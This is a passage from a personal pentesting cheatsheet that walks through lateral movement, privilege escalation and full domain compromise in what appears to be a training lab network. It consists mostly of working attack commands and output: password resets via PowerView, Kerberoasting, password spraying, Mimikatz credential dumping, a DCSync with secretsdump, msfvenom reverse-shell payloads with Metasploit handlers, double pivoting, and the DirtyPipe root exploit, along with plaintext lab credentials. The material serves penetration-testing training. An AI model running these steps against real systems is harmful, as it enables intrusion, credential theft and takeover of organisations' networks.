📒
My Pentesting Cheatsheet
  • Home
  • Commands Only Summary
    • Some other cool websites
  • Preparation
    • Documents
    • Contract - Checklist
    • Rules of Engagement - Checklist
    • Contractors Agreement - Checklist for Physical Assessments
  • Information Gathering
  • Vulnerability Assessment
  • Pentesting Machine
  • Enumeration
    • NMAP Scan types explained
    • Firewall and IDS/IPS Evasion
  • Footprinting
    • Google Dorks
    • Samba (smb)
    • NFS
    • DNS
    • SMTP
    • IMAP/POP3
    • SNMP
    • MySQL
    • MSSQL
    • Oracle TNS
    • IPMI
    • SSH
    • RDP
    • WinRM
  • Web Information Gathering
    • Whois
    • DNS & Subdomains
    • Fingerprinting
    • Crawlers
    • Search Engine Discovery
    • Automating Recon
  • Vulnerability Assessment
  • File Transfers
    • Windows Target
    • Linux Target
    • Transferring Files with Code
    • Miscellaneous File Transfer Methods
    • Protected Files Transfer
    • Catching Files over HTTP/S (Nginx)
    • Living Off The Land
    • Evading Detection
  • Shells & Payloads
    • Reverse Shells + Bind + Web
  • Password Attacks
    • John the ripper
    • Remote password attacks
    • Password mutations
    • Password Reuse / Default Passwords
    • Windows Local Password Attacks
    • Linux Local Password Attacks
    • Windows Lateral Movement
    • Cracking Files
  • Attacking Common Services
    • FTP
    • SMB
    • SQL
    • RDP
    • DNS
    • Email Services
  • Pivoting, Tunneling, and Port Forwarding
    • Choosing The Dig Site & Starting Our Tunnels
    • Playing Pong with Socat
    • Pivoting Around Obstacles
    • Branching Out Our Tunnels
    • Double Pivots
    • Final considerations
  • Active Directory Enumeration & Attacks
    • Initial Enumeration
    • Sniffing out a Foothold
    • Sighting In, Hunting For A User
    • Spray Responsibly
    • Deeper Down the Rabbit Hole
    • Kerberoasting - Cooking with Fire
    • Access Control List (ACL)
    • Advanced Privilege Escalation in Active Directory: Stacking The Deck
    • Domain trusts
    • Domain Trusts - Cross Forest
    • Defensive Considerations
  • Using Web Proxies
  • Login Brute Forcing
  • SQL Injection Fundamentals
    • Mitigating SQL Injection
  • SQLMap Essentials
    • Building Attacks
    • Database Enumeration
    • Advanced SQLMap Usage
  • Cross-Site Scripting (XSS)
    • Prevention
  • File Inclusion
  • File Upload Attacks
    • Basic Exploitation
    • Bypassing Filters
    • Other Upload Attacks
    • Prevention
  • Command Injections
    • Exploitation
    • Filter Evasion
  • Web Attacks
    • HTTP Verb Tampering
    • Insecure Direct Object References (IDOR)
    • XML External Entity (XXE) Injection
    • GraphQL
  • Attacking Common Applications
    • Application Discovery & Enumeration
    • Content Management Systems (CMS)
    • Servlet Containers/Software Development
    • Infrastructure/Network Monitoring Tools
    • Customer Service Mgmt & Configuration Management
    • Common Gateway Interfaces
    • Thick Client Applications
    • Miscellaneous Applications
  • Privilege Escalation
    • Linux Privilege Escalation
      • Information Gathering
      • Environment-based Privilege Escalation
      • Service-based Privilege Escalation
      • Linux Internals-based Privilege Escalation
      • Recent 0-Days
      • Linux Hardening
    • Windows Privilege Escalation
      • Getting the Lay of the Land
      • Windows User Privileges
      • Windows Group Privileges
      • Attacking the OS
      • Credential Theft
      • Restricted Environments
      • Additional Techniques
      • Dealing with End of Life Systems
      • Windows Hardening
    • Windows (old page)
  • Documentation & Reporting
    • Preparation
    • Reporting
  • Attacking Enterprise Networks
    • Pre-Engagement
    • External Testing
    • Internal Testing
    • Lateral Movement & Privilege Escalation
    • Wrapping Up
  • Deobfuscation
  • Metasploit
    • msfvenom
  • Custom compiled files
  • XSS
  • Azure AD (Entra ID)
Powered by GitBook
On this page
  • Lateral Movement
  • Share Hunting
  • Kerberoasting
  • Password Spraying
  • Misc Techniques
  • Next Steps
  • Post-Exploitation/Pillaging
  • Closing In
  • Active Directory Compromise
  • Next Steps
  • Post-Exploitation
  • Domain Password Analysis - Cracking NTDS
  • Active Directory Security Audit
  • Hunting for Sensitive Data/Hosts
  • The Double Pivot - MGMT01
  • Data Exfiltration Simulation
  • Attacking Domain Trusts
  • Closing Thoughts
  1. Attacking Enterprise Networks

Lateral Movement & Privilege Escalation

PreviousInternal TestingNextWrapping Up

Last updated 1 month ago

Lateral Movement

After pillaging the host DEV01, we found the following set of credentials by dumping LSA secrets:

hporter:Gr8hambino!

The Active Directory Enumeration & Attacks module demonstrates various ways to enumerate AD from a Windows host. Since we've got our hooks deep into DEV01 we can use it as our staging area for launching further attacks. We'll use the reverse shell that we caught on the dmz01 host after exploiting PrintSpoofer for now since it's rather stable. At a later point, we may want to perform some additional "port forwarding gymnastics" and connect via RDP or WinRM, but this shell should be plenty.

We'll use the collector to enumerate all possible AD objects and then ingest the data into the BloodHound GUI for review. We can download the executable (though in a real-world assessment, it's best to compile our own tools) and use the handy DNN file manager to upload it to the target. We want to gather as much data as possible and don't have to worry about evasion, so we'll use the -c All flag to use all collection methods.

c:\DotNetNuke\Portals\0> SharpHound.exe -c All

This will generate a tidy Zip file that we can download via the DNN file management tool again (so convenient!). Next, we can start the neo4j service (sudo neo4j start), type bloodhound to open the GUI tool, and ingest the data.

Searching for our user hporter and selecting First Degree Object Control, we can see that the user has ForceChangePassword rights over the ssmalls user.

As an aside, we can see that all Domain Users have RDP access over the DEV01 host. This means that any user in the domain can RDP in and, if they can escalate privileges, could potentially steal sensitive data such as credentials. This is worth noting as a finding; we can call it Excessive Active Directory Group Privileges and label it medium-risk. If the entire group had local admin rights over a host, it would definitely be a high-risk finding.

sudo proxychains nmap -sT -p 3389 172.16.8.20

To achieve this, we can use another SSH port forwarding command, this type Local Port Forwarding. The command allows us to pass all RDP traffic to DEV01 through the dmz01 host via local port 13389.

ssh -i dmz01_key -L 13389:172.16.8.20:3389 root@10.129.203.111

Once this port forward is set up, we can use xfreerdp to connect to the host using drive redirection to transfer files back and forth easily.

xfreerdp /v:127.0.0.1:13389 /u:hporter /p:Gr8hambino! /drive:home,"/home/tester/tools" /dynamic-resolution
rdesktop -u hporter -p 'Gr8hambino!' 127.0.0.1:13389 -r disk:home="/home/tester/tools"

We notice that we only get console access as this server does not have the the Desktop Experience role installed, but all we need is a console. We can type net use to view the location of our redirected drive and then transfer the tool over.

net use
New connections will be remembered.


Status       Local     Remote                    Network

-------------------------------------------------------------------------------
                       \\TSCLIENT\home           Microsoft Terminal Services
The command completed successfully.
copy \\TSCLIENT\home\PowerView.ps1 .

Next, type powershell to drop into a PowerShell console, and we can use PowerView to change the ssmalls user's password as follows:

Import-Module .\PowerView.ps1
Set-DomainUserPassword -Identity ssmalls -AccountPassword (ConvertTo-SecureString 'Str0ngpass86!' -AsPlainText -Force ) -Verbose
VERBOSE: [Set-DomainUserPassword] Attempting to set the password for user 'ssmalls'
VERBOSE: [Set-DomainUserPassword] Password for user 'ssmalls' successfully reset

We can switch back to our attack host and confirm that the password was changed successfully. Generally, we would want to avoid this type of activity during a penetration test, but if it's our only path, we should confirm with our client. Most will ask us to proceed so they can see how far the path will take us, but it's always best to ask. We want to, of course, note down any changes like this in our activity log so we can include them in an appendix of our report.

sudo proxychains crackmapexec smb 172.16.8.3 -u ssmalls -p Str0ngpass86!

Share Hunting

copy \\TSCLIENT\home\Snaffler.exe
Snaffler.exe -s -d inlanefreight.local -o snaffler.log -v data
 .::::::.:::.    :::.  :::.    .-:::::'.-:::::':::    .,:::::: :::::::..
;;;`    ``;;;;,  `;;;  ;;`;;   ;;;'''' ;;;'''' ;;;    ;;;;'''' ;;;;``;;;;
'[==/[[[[, [[[[[. '[[ ,[[ '[[, [[[,,== [[[,,== [[[     [[cccc   [[[,/[[['
  '''    $ $$$ 'Y$c$$c$$$cc$$$c`$$$'`` `$$$'`` $$'     $$""   $$$$$$c
 88b    dP 888    Y88 888   888,888     888   o88oo,.__888oo,__ 888b '88bo,
  'YMmMY'  MMM     YM YMM   ''` 'MM,    'MM,  ''''YUMMM''''YUMMMMMMM   'W'
                         by l0ss and Sh3r4 - github.com/SnaffCon/Snaffler


2022-06-22 10:57:33 -07:00 [Share] {Green}(\\DC01.INLANEFREIGHT.LOCAL\Department Shares)
2022-06-22 10:57:36 -07:00 [Share] {Black}(\\ACADEMY-AEN-DEV01.INLANEFREIGHT.LOCAL\ADMIN$)
2022-06-22 10:57:36 -07:00 [Share] {Black}(\\ACADEMY-AEN-DEV01.INLANEFREIGHT.LOCAL\C$)
Press any key to exit.
sudo proxychains crackmapexec smb 172.16.8.3 -u ssmalls -p 'Str0ngpass86!' -M spider_plus --share 'Department Shares'

This creates a file for us in our /tmp directory so let's look through it.

cat 172.16.8.3.json
{
    "Department Shares": {
        "IT/Private/Development/SQL Express Backup.ps1": {
            "atime_epoch": "2022-06-01 14:34:16",
            "ctime_epoch": "2022-06-01 14:34:16",
            "mtime_epoch": "2022-06-01 14:35:16",
            "size": "3.91 KB"
        }
    },
    "IPC$": {
        "323a2fd620dcf3e3": {
            "atime_epoch": "1600-12-31 19:03:58",
            "ctime_epoch": "1600-12-31 19:03:58",
            "mtime_epoch": "1600-12-31 19:03:58",
            "size": "3 Bytes"
<SNIP>

The file SQL Express Backup.ps1 in the private IT share looks very interesting. Let's download it using smbclient. First, we need to connect.

sudo proxychains smbclient -U ssmalls '//172.16.8.3/Department Shares'
get "SQL Express Backup.ps1"

Checking out the file, we see that it's some sort of backup script with hardcoded credentials for the backupadm, another keyboard walk password. I'm noticing a trend in this organization. Perhaps the same admin set it as the one that set the password we brute-forced with Hydra earlier since this is related to development.

cat SQL\ Express\ Backup.ps1
$serverName = ".\SQLExpress"
$backupDirectory = "D:\backupSQL"
$daysToStoreDailyBackups = 7
$daysToStoreWeeklyBackups = 28
$monthsToStoreMonthlyBackups = 3

[System.Reflection.Assembly]::LoadWithPartialName("Microsoft.SqlServer.SMO") | Out-Null
[System.Reflection.Assembly]::LoadWithPartialName("Microsoft.SqlServer.SmoExtended") | Out-Null
[System.Reflection.Assembly]::LoadWithPartialName("Microsoft.SqlServer.ConnectionInfo") | Out-Null
[System.Reflection.Assembly]::LoadWithPartialName("Microsoft.SqlServer.SmoEnum") | Out-Null
 
$mySrvConn = new-object Microsoft.SqlServer.Management.Common.ServerConnection
$mySrvConn.ServerInstance=$serverName
$mySrvConn.LoginSecure = $false
$mySrvConn.Login = "backupadm"
$mySrvConn.Password = "<REDACTED>"

$server = new-object Microsoft.SqlServer.Management.SMO.Server($mySrvConn)

Before trying to use this account somewhere, let's dig around a bit more. There is an interesting .vbs file on the SYSVOL share, which is accessible to all Domain Users.

 },
       "INLANEFREIGHT.LOCAL/scripts/adum.vbs": {
           "atime_epoch": "2022-06-01 14:34:41",
           "ctime_epoch": "2022-06-01 14:34:41",
           "mtime_epoch": "2022-06-01 14:34:39",
           "size": "32.15 KB"

We can download it once again with smbclient.

sudo proxychains smbclient -U ssmalls '//172.16.8.3/sysvol'
get adum.vbs

Digging through the script we find another set of credentials: account:L337^p@$$w0rD

cat adum.vbs
Option Explicit

''=================================================================================================================================
''
'' Active Directory User Management script [ADUM]
''
'' Written: 2011/07/18
'' Updated: 2015.07.21

<SNIP>

Const cSubject = "Active Directory User Management report"	'EMAIL - SUBJECT LINE

''Most likely not needed, but if needed to pass authorization for connecting and sending emails
Const cdoUserName = "account@inlanefreight.local"	'EMAIL - USERNAME - IF AUTHENTICATION REQUIRED
Const cdoPassword = "L337^p@$$w0rD"

Checking in BloodHound, we do not find an account user, so this may just be an old password. Based on the year in the script comments, it likely is. We can still add this to our findings regarding sensitive data on file shares and note it down in the credentials section of our project notes. Sometimes we will find old passwords that are still being used for old service accounts that we can use for a password spraying attack.

Kerberoasting

To cover all our bases, let's check if there are any Kerberoastable users. We can do this via Proxychains using GetUserSPNs.py or PowerView. In our RDP session, we'll load PowerView and enumerate Service Principal Name (SPN) accounts.

Import-Module .\PowerView.ps1
Get-DomainUser * -SPN | Select samaccountname
samaccountname
--------------
azureconnect
backupjob
krbtgt
mssqlsvc
sqltest
sqlqa
sqldev
mssqladm
svc_sql
sqlprod
sapsso
sapvc
vmwarescvc

There are quite a few. Let's export these to a CSV file for offline processing.

Get-DomainUser * -SPN -verbose |  Get-DomainSPNTicket -Format Hashcat | Export-Csv .\ilfreight_spns.csv -NoTypeInformation

We can download this file via the RDP drive redirection we set up earlier: copy .\ilfreight_spns.csv \\Tsclient\Home. Open up the .csv file using LibreOffice Calc or Excel and pull out the hashes and add them to a file. We can now run them through Hashcat to see if we can crack any and, if so, if they are for privileged accounts.

hashcat -m 13100 ilfreight_spns /usr/share/wordlists/rockyou.txt

One hash cracks, but checking in BloodHound, the account does not seem to be helpful to us. We can still note down another finding for Weak Kerberos Authentication Configuration (Kerberoasting) and move on.

Password Spraying

Invoke-DomainPasswordSpray -Password Welcome1

We find a valid password for two more users, but neither has interesting access. It's still worth noting down a finding for Weak Active Directory Passwords allowed and moving on.

Misc Techniques

Let's try a few more things to cover all our bases. We can search the SYSVOL share for Registry.xml files that may contain passwords for users configured with autologon via Group Policy.

sudo proxychains crackmapexec smb 172.16.8.3 -u ssmalls -p Str0ngpass86! -M gpp_autologin

This doesn't turn up anything useful. Moving on, we can search for passwords in user Description fields in AD, which is not overly common, but we still see it from time to time (I have even seen Domain and Enterprise Admin account passwords here!).

Get-DomainUser * |select samaccountname,description | ?{$_.Description -ne $null}
samaccountname description
-------------- -----------
Administrator  Built-in account for administering the computer/domain
frontdesk      ILFreightLobby!
Guest          Built-in account for guest access to the computer/d...
krbtgt         Key Distribution Center Service Account

We find one for the account frontdesk, but this one isn't useful either. It's worth noting that there are many multiple ways to obtain a user account password in this domain, and there is the one host with RDP privileges granted to all Domain Users. Though these accounts do not have any special rights, it would be a client fixing these issues because an attacker often only needs one password to be successful in AD. Here we can note down a finding for Passwords in AD User Description Field and continue onwards.

Next Steps

At this point, we have dug into the domain pretty heavily and have found several sets of credentials but hit a bit of a brick wall. Going back to the basics, we can run a scan to see if any hosts have WinRM enabled and attempt to connect with each set of credentials.

sudo proxychains nmap -sT -p 5985 172.16.8.50

The host 172.16.8.50, or MS01 is the only one left that we haven't gotten into aside from the Domain Controller, so let's give it a try using evil-winrm and the credentials for the backupadm user.

It works, and we're in!

sudo proxychains evil-winrm -i 172.16.8.50 -u backupadm
ProxyChains-3.1 (http://proxychains.sf.net)
Enter Password: 

Evil-WinRM shell v3.4

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint

|S-chain|-<>-127.0.0.1:8083-<><>-172.16.8.50:5985-<><>-OK
*Evil-WinRM* PS C:\Users\backupadm\Documents> hostname
ACADEMY-AEN-MS01

Back to the task at hand. Our user is not a local admin, and whoami /priv does not turn up any useful privileges. Looking through the Windows Privilege Escalation (Windows Privilege Escalation) module, we don't find much interesting so let's hunt for credentials. After some digging around, we find an unattend.xml file leftover from a previous installation.

cd c:\panther
dir


    Directory: C:\panther


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----         6/1/2022   2:17 PM           6995 unattend.xml

Let's check to see if it contains any passwords, as they sometimes do.

type unattend.xml
<?xml version="1.0" encoding="utf-8"?>
<unattend xmlns="urn:schemas-microsoft-com:unattend">
    <settings pass="oobeSystem">
        <component name="Microsoft-Windows-International-Core" processorArchitecture="amd64" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" xmlns:wcm="http://schemas.microsoft.com/WMIConfig/2002/State" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
            <InputLocale>de-de</InputLocale>
            <SystemLocale>de-de</SystemLocale>
            <UILanguage>de-de</UILanguage>
            <UILanguageFallback>de-de</UILanguageFallback>
            <UserLocale>de-de</UserLocale>
        </component>
        <component name="Microsoft-Windows-Shell-Setup" processorArchitecture="amd64" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" xmlns:wcm="http://schemas.microsoft.com/WMIConfig/2002/State" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
            <OOBE>
                <HideEULAPage>true</HideEULAPage>
                <HideWirelessSetupInOOBE>true</HideWirelessSetupInOOBE>
                <NetworkLocation>Work</NetworkLocation>
                <ProtectYourPC>1</ProtectYourPC>
            </OOBE>
            <AutoLogon>
                <Password>
                    <Value>Sys26Admin</Value>
                    <PlainText>true</PlainText>
                </Password>
                <Enabled>true</Enabled>
                <LogonCount>1</LogonCount>
                <Username>ilfserveradm</Username>
            </AutoLogon>
        
        <SNIP>

        </component>
    </settings>
</unattend>

We find credentials for the local user ilfserveradm, with the password Sys26Admin.

net user ilfserveradm
User name                    ilfserveradm
Full Name                    ilfserveradm
Comment
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            6/1/2022 2:17:17 PM
Password expires             Never
Password changeable          6/1/2022 2:17:17 PM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   6/1/2022 2:17:17 PM

Logon hours allowed          All

Local Group Memberships      *Remote Desktop Users
Global Group memberships     *None
The command completed successfully.

First, create a file called pwn.bat in C:\Users\ilfserveradm\Documents containing the line net localgroup administrators ilfserveradm /add to add our user to the local admins group (sometime we'd need to clean up and note down in our report appendices). Next, we can perform the following steps:

  • Open C:\Program Files (x86)\SysaxAutomation\sysaxschedscp.exe

  • Select Setup Scheduled/Triggered Tasks

  • Add task (Triggered)

  • Update folder to monitor to be C:\Users\ilfserveradm\Documents

  • Check Run task if a file is added to the monitor folder or subfolder(s)

  • Choose Run any other Program and choose C:\Users\ilfserveradm\Documents\pwn.bat

  • Uncheck Login as the following user to run task

  • Click Finish and then Save

Finally, to trigger the task, create a new .txt file in the C:\Users\ilfserveradm\Documents directory. We can check and see that the ilfserveradm user was added to the Administrators group.

net localgroup administrators
Alias name     administrators
Comment        Administrators have complete and unrestricted access to the computer/domain

Members

-------------------------------------------------------------------------------
Administrator
ilfserveradm
INLANEFREIGHT\Domain Admins
The command completed successfully.

Post-Exploitation/Pillaging

Next, we'll perform some post-exploitation on the MS01 host. We do see a couple of interesting files in the root of the c:\ drive named budget_data.xlsx and Inlanefreight.kdbx that would be worth looking into and potentially reporting to the client if they are not in their intended location. Next, we can use Mimikatz, elevate to an NT AUTHORITY\SYSTEM token and dump LSA secrets.

mimikatz.exe
log
privilege::debug
token::elevate
lsadump::secrets

We find a set password but no associated username. This appears to be for an account configured with autologon, so we can query the Registry to find the username.

Get-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\' -Name "DefaultUserName"

Now we have a new credential pair: mssqladm:DBAilfreight1!.

lazagne.exe browsers -firefox
Import-Module .\Inveigh.ps1
Invoke-Inveigh -ConsoleOutput Y -FileOutput Y

Closing In

We've now enumerated the domain inside and out, moved laterally, and pillaged what we could find on the target hosts. At this point, we have credentials for the mssqladm user and can continue hunting a path to domain compromise.

Active Directory Compromise

To recap, we dug through the Active Directory environment and obtained the following credential pair:

mssqladm:DBAilfreight1!

Digging into the BloodHound data we see that we have GenericWrite over the ttimmons user. Using this we can set a fake SPN on the ttimmons account and perform a targeted Kerberoasting attack. If this user is using a weak password then we can crack it and proceed onwards.

Let's go back to the DEV01 machine where we had loaded PowerView. We can create a PSCredential object to be able to run commands as the mssqladm user without having to RDP again.

$SecPassword = ConvertTo-SecureString 'DBAilfreight1!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('INLANEFREIGHT\mssqladm', $SecPassword)

Next we'll use Set-DomainObject to set a fake SPN on the target account. We'll create an SPN named acmetesting/LEGIT which we'll of course delete later and note in the appendices of our report.

Set-DomainObject -credential $Cred -Identity ttimmons -SET @{serviceprincipalname='acmetesting/LEGIT'} -Verbose

Next we can go back to our attack host and use GetUserSPNs.py to perform a targeted Keberoasting attack.

sudo proxychains GetUserSPNs.py -dc-ip 172.16.8.3 INLANEFREIGHT.LOCAL/mssqladm -request-user ttimmons

Next we'll fire up Hashcat and see if the user is using a weak password.

hashcat -m 13100 ttimmons_tgs /usr/share/wordlists/rockyou.txt

They are! Now we have yet another credential pair, time for the ttimmons user. Let's check and see what type of access this user has. Looking in BloodHound again we see that we have GenericAll over the SERVER ADMINS group.

Looking a bit further we see that the SERVER ADMINS group has the ability to perform the DCSync attack to obtain NTLM password hashes for any users in the domain.

We use abuse this by first adding the ttimmons user to the group. First we'll need to create another PSCredential object.

$timpass = ConvertTo-SecureString '<PASSWORD REDACTED>' -AsPlainText -Force
$timcreds = New-Object System.Management.Automation.PSCredential('INLANEFREIGHT\ttimmons', $timpass)

Once this is done, we can add the user to the target group and inherit the DCSync privileges.

$group = Convert-NameToSid "Server Admins"
Add-DomainGroupMember -Identity $group -Members 'ttimmons' -Credential $timcreds -verbose

Finally, we can use Secretsdump to DCSync all NTLM password hashes from the Domain Controller.

sudo proxychains secretsdump.py ttimmons@172.16.8.3 -just-dc-ntlm

Next Steps

After making sure to document all of our steps we could perform a number of actions, many of which are detailed in the next section. Its definitely a good idea to dump the entire NTDS database and perform offline password cracking to give the client an idea of their overall password strength and other metrics. You could also show evidence of being able to authenticate to a Domain Controller and running a few commands as this may drive the point home more than seeing secretsdump output, which they may not be familiar with. Connecting to the Domain Controller via RDP and including a screenshot to the report showing a console open with the results of the hostname, whoami, and ipconfig /all commands can be a great visual. There is also a lot of extra value we can add after Domain Admin by performing additional audit steps of AD, attacking domain and forest trusts (if in scope) and, finally, testing the client's alerting by either creating a new Domain Admin and Enterprise Admin or adding an account we control into each of these groups. Ideally they are monitoring these highly privileged groups and will catch this and either manually, or, even better, have something automated in place to remove the accounts from the groups. If you do this definitely include this action in the report as a configuration change in the appendices and also give the client kudos if they do detect it and action it appropriately. Giving credit for the good things you see in the network/the client does is important and goes a long way towards building good will.

Post-Exploitation

Once we've compromised the domain, depending on the assessment type, our work is not over. There are many things we can do to add additional value to our clients. If the goal of the assessment was to reach Domain Admin and nothing further, then we are done and should make sure we have all of our command/log output, scan data, and screenshots and continue drafting the report. If the assessment was goal focused (i.e., gain access to a specific database) we should continue working towards that goal. Domain Admin rights may be just the start as there could be other networks, domains, or forests in play that we will need to find our way into. If the assessment is more open ended and the client asked us to demonstrate as much impact as possible there are quite a few things we can do to add value and help them improve their security posture.

Domain Password Analysis - Cracking NTDS

  • Number of password hashes obtained

  • Number of password hashes cracked

  • Percent of password hashes cracked

  • Top 10 passwords

  • Password length breakdown

  • Number of Domain Admin passwords cracked

  • Number of Enterprise Admin passwords cracked

Active Directory Security Audit

Hunting for Sensitive Data/Hosts

Once we've gained access to the Domain Controller we can likely access most any resources in the domain. If we want to demonstrate impact for our clients a good spot to start is going back to the file shares to see what other types of data we can now view. As discussed in the Documentation & Reporting module, we should make sure to just take screenshots showing a file listing if we find a particularly sensitive file share, and not open individual files and take screenshots or remove any files from the network.

sudo proxychains evil-winrm -i 172.16.8.3 -u administrator -H fd1f7e556xxxxxxxxxxxddbb6e6afa2

Let's go back to the Department Shares share and see what else we can find.

*Evil-WinRM* PS C:\Department Shares> dir
|S-chain|-<>-127.0.0.1:8083-<><>-172.16.8.3:5985-<><>-OK
|S-chain|-<>-127.0.0.1:8083-<><>-172.16.8.3:5985-<><>-OK


    Directory: C:\Department Shares


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----         6/1/2022  11:34 AM                Accounting
d-----         6/1/2022  11:34 AM                Executives
d-----         6/1/2022  11:34 AM                Finance
d-----         6/1/2022  11:33 AM                HR
d-----         6/1/2022  11:33 AM                IT
d-----         6/1/2022  11:33 AM                Marketing
d-----         6/1/2022  11:33 AM                R&D

Depending on the client industry and business, there are various things we can go after to demonstrate impact. HR data such as salaries and bonuses should be well-protected, R&D information could potentially hurt a company if it is leaked so they should have extra controls in place. It can be a good practice to not allow Domain Admins to have blanket access to all data, because if one account is compromised then everything will be. Some companies will have a separate site or non-domain joined file share or backup server to house sensitive data. In our case Inlanefreight has asked us to test if we can gain access to any hosts in the 172.16.9.0/23 subnet. This is their management network and houses sensitive servers that should be not directly accessible from hosts in the principal domain and gaining Domain Admin rights should not lead to immediate access.

Within the private IT share we can see two subdirectories: Development and Networking. The Development subdirectory houses the backup script that we obtained earlier. Let's take a look in the Networking subdirectory.

*Evil-WinRM* PS C:\Department Shares\IT\Private> ls


    Directory: C:\Department Shares\IT\Private


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----         6/1/2022  11:34 AM                Development
d-----         6/1/2022  11:34 AM                Networking

We can see SSH private keys for three different users. This is interesting.

Can any of these users be leveraged to access a host in the protected network?

Looking at the network adapters on the Domain Controllers we can see that it has a second NIC in the 172.16.9.0 network.

*Evil-WinRM* PS C:\Department Shares\IT\Private\Networking> ipconfig /all

Typing arp -a to view the arp table does not yield anything interesting. We can use PowerShell to perform a ping sweep and attempt to identify live hosts.

*Evil-WinRM* PS C:\Department Shares\IT\Private\Networking>  1..100 | % {"172.16.9.$($_): $(Test-Connection -count 1 -comp 172.16.9.$($_) -quiet)"}

We can see one live host, 172.16.9.25, that perhaps one of the SSH private keys will work against. Let's get to work. First download the SSH keys via our evil-winrm connection to the Domain Controller.

download "C:\Department Shares\IT\Private\Networking\ssmallsadm-id_rsa" /tmp/ssmallsadm-id_rsa 

The Double Pivot - MGMT01

Now there are a few ways to do this next part, we'll take the long route so we can ultimately SSH directly into the 172.16.9.25 host from our attack box, performing a bit of a mindbending double pivot in the process. Here is what we are trying to achieve, starting from our attack host and pivoting through the dmz01 and DC01 hosts to be able to SSH directly into the MGMT01 host two hops away directly from our attack host.

Attack host --> dmz01 --> DC01 --> MGMT01

We'll need to establish a reverse shell from the dmz01 box back to our attack host. We can do this the same we way did in the Internal Information Gathering section, creating an ELF payload, uploading it to the target and executing it to catch a shell. Start by creating the ELF payload and uploading it back to the dmz01 host via SCP if you removed it.

Next, set up the Metasploit exploit/multi/handler.

use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set lhost 10.10.14.15 
set LPORT 443
exploit

Once again, execute the shell.elf file on the target system:

chmod +x shell.elf
./shell.elf

Catch the Meterpreter shell using the multi/handler.

exploit
getuid

Next, set up a local port forwarding rule to forward all traffic destined to port 1234 on dmz01 to port 8443 on our attack host.

portfwd add -R -l 8443 -p 1234 -L 10.10.14.15

Next, create an executable payload that we'll upload to the Domain Controller host.

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=172.16.8.120 -f exe -o dc_shell.exe LPORT=1234

Upload the payload to the DC.

*Evil-WinRM* PS C:\> upload "/home/tester/dc_shell.exe" 

Background the Meterpreter session

(Meterpreter 1)(/root) > bg
[*] Backgrounding session 1...
[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) >>

Start another multi/handler in the same msfconsole session to catch the shell from the DC.

set payload windows/x64/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 8443
exploit

Execute the payload on the DC and, if all goes to plan, we'll catch it in our handler.

.\dc_shell.exe

Checking on our handler and we see the incoming connection. It appears to come from 0.0.0.0 because our port forwarding rule set earlier has specified that all traffic destined for our host on port 1234 should be directed to (our listener) on port 8443.

[*] Started reverse TCP handler on 0.0.0.0:8443 
[*] Sending stage (200262 bytes) to 10.10.14.15
[*] Meterpreter session 2 opened (10.10.14.15:8443 -> 10.10.14.15:46313 ) at 2022-06-22 21:36:20 -0400

(Meterpreter 2)(C:\) > getuid
Server username: INLANEFREIGHT\Administrator
(Meterpreter 2)(C:\) > sysinfo
Computer        : DC01
OS              : Windows 2016+ (10.0 Build 17763).
Architecture    : x64
System Language : en_US
Domain          : INLANEFREIGHT
Logged On Users : 3
Meterpreter     : x64/windows

For our next trick we'll set up a route to the 172.16.9.0/23 subnet.

run autoroute -s 172.16.9.0/23
[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
[*] Adding a route to 172.16.9.0/255.255.254.0...
[+] Added route to 172.16.9.0/255.255.254.0 via 10.10.14.15
[*] Use the -p option to list all active routes

We can confirm this by checking the MSF routing table.

background
route print

Now we need to set up a socks proxy which is the final step before we can communicate directly with the 172.16.9.0/23 network from our attack host.

use auxiliary/server/socks_proxy 
show options
set srvport 9050
set version 4a
run

Edit the /etc/proxychains.conf file to use port 9050 that we specified above. If you already have a line in there from earlier, comment it out or replace the port number.

Now we can test this out by running Nmap against the target, and we confirm that we are able to scan it.

sudo proxychains nmap -sT -p 22 172.16.9.25

Finally, we can try each SSH key with proxychains to attempt to connect to the host. We can collect each username by the SSH key filename. In our case the key for ssmallsadm works (don't forget to chmod 600 the file or we won't be able to connect).

sudo proxychains ssh -i ssmallsadm-id_rsa ssmallsadm@172.16.9.25
uname -a
Linux MGMT01 5.10.0-051000-generic #202012132330 SMP Sun Dec 13 23:33:36 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
gcc dirtypipe.c -o dirtypipe
chmod +x dirtypipe
./dirtypipe
Usage: ./dirtypipe SUID

We must run the exploit against a SUID binary to inject and overwrite memory in a root process. So first we need to search SUID binaries on the system.

find / -perm -4000 2>/dev/null

Finally, we'll run the exploit against the /usr/lib/openssh/ssh-keysign SUID binary and drop into a root shell.

./dirtypipe /usr/lib/openssh/ssh-keysign

From here we could perform post-exploitation of the file system to prove the level of access we achieved.

Data Exfiltration Simulation

Some clients may want to test their Data Loss Prevention (DLP) capabilities, so we could experiment with various ways to exfiltrate mock data from their network to see if we are detected. We should work with the client to understand what types of data they are trying to protect and proceed accordingly. It's best to use mock data so we don't have to deal with any highly sensitive client data on our testing system.

Attacking Domain Trusts

